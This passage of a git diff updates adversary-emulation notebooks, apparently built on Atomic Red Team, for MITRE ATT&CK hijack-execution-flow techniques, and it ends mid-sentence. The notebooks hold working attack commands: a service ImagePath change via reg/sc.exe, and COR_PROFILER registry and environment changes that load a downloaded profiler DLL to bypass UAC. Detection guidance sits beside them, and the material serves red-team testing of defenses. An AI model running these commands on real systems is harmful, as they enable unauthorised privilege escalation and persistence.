"text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.010.ipynb b/playbook/tactics/privilege-escalation/T1574.010.ipynb index 3d90c025..1c0b8ee0 100644 --- a/playbook/tactics/privilege-escalation/T1574.010.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.010.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a2191115", + "id": "c9d0f148", "metadata": {}, "source": "# T1574.010 - Services File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "78cbe167", + "id": "9673640c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7f8d3839", + "id": "1bbb235e", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.011.ipynb b/playbook/tactics/privilege-escalation/T1574.011.ipynb index 767a50f1..d4c2d0d8 100644 --- a/playbook/tactics/privilege-escalation/T1574.011.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.011.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "e0dd4155", + "id": "a0f4a202", "metadata": {}, "source": "# T1574.011 - Services Registry Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)" }, { "cell_type": "markdown", - "id": "b454b566", + "id": "999a52ba", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6b90b71f", + "id": "cf06985b", "metadata": {}, "source": [ "### Atomic Test #1 - Service Registry Permissions Weakness", - "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", + "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", "```powershell\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\weakservicename |FL\n```" @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "801d6059", + "id": "5d68c0a4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f2f1cc11", + "id": "aa24d82b", "metadata": {}, "source": "### Atomic Test #2 - Service ImagePath Change with reg.exe\nChange Service registry ImagePath of a bengin service to a malicious file\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The service must exist (#{weak_service_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Get-Service calcservice) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nsc.exe create calcservice binpath= \"%windir%\\system32\\win32calc.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75440dd9", + "id": "7c7c8380", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "12f15964", + "id": "be17f0e3", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4ba2993c", + "id": "7442aace", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b3cf029f", + "id": "ad19ddee", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe delete calcservice\n```" }, { "cell_type": "code", "execution_count": null, - "id": "61148110", + "id": "8192881b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.011 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "998e42d2", + "id": "74991437", "metadata": {}, "source": "## Detection\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data." } @@ -87,13 +87,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.012.ipynb b/playbook/tactics/privilege-escalation/T1574.012.ipynb index db3481f1..59c5569c 100644 --- a/playbook/tactics/privilege-escalation/T1574.012.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.012.ipynb @@ -2,154 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "89b7abdd", + "id": "6399e6e6", "metadata": {}, "source": "# T1574.012 - COR_PROFILER\nAdversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "markdown", - "id": "4fb45b9e", + "id": "154447ee", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c2e95c50", + "id": "a66770e1", "metadata": {}, - "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #1 - User scope COR_PROFILER\nCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "702d1b1f", + "id": "c37630ad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a7e720f7", + "id": "31d8c6ad", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" + "```powershell\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\\InprocServer32\" -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "334a2944", + "id": "e8995bdf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a29b1d58", + "id": "d53c1802", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "96165517", + "id": "601004d0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9c1bed0f", + "id": "8f9414a2", "metadata": {}, - "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #2 - System Scope COR_PROFILER\nCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a09ac2f6", + "id": "60cae9bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cd2b7df5", + "id": "a914a0df", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\n```" + "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ba31b04a", + "id": "27080b35", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "0972c4dc", + "id": "c35b92a7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c41c5e87", + "id": "34392cae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "2b2a17aa", + "id": "6edb35cf", "metadata": {}, - "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d3583495", + "id": "cffc1910", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5cc6cdfc", + "id": "eea931c3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = 'PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll'\nPOWERSHELL -c 'Start-Sleep 1'\n```" + "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = '\"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"'\nPOWERSHELL -c 'Start-Sleep 1'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0318972b", + "id": "61188a5d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1644a5aa", + "id": "eeabac4e", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n```" }, { "cell_type": "code", "execution_count": null, - "id": "472626ba", + "id": "db017f94", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5e04c733", + "id": "4bdd0674", "metadata": {}, "source": "## Detection\nFor detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.013.ipynb b/playbook/tactics/privilege-escalation/T1574.013.ipynb index 7f4128ba..c49fc7fb 100644 --- a/playbook/tactics/privilege-escalation/T1574.013.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e0550804", + "id": "76b977fe", "metadata": {}, "source": "# T1574.013 - KernelCallbackTable\nAdversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process." }, { "cell_type": "markdown", - "id": "1b0b53e2", + "id": "380c51d0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9cd4baea", + "id": "21d31989", "metadata": {}, "source": "## Detection\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.ipynb b/playbook/tactics/privilege-escalation/T1574.ipynb index b4620bcc..e4a4ce78 100644 --- a/playbook/tactics/privilege-escalation/T1574.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "6e9941b3", + "id": "d46a9cca", "metadata": {}, "source": "# T1574 - Hijack Execution Flow\nAdversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates 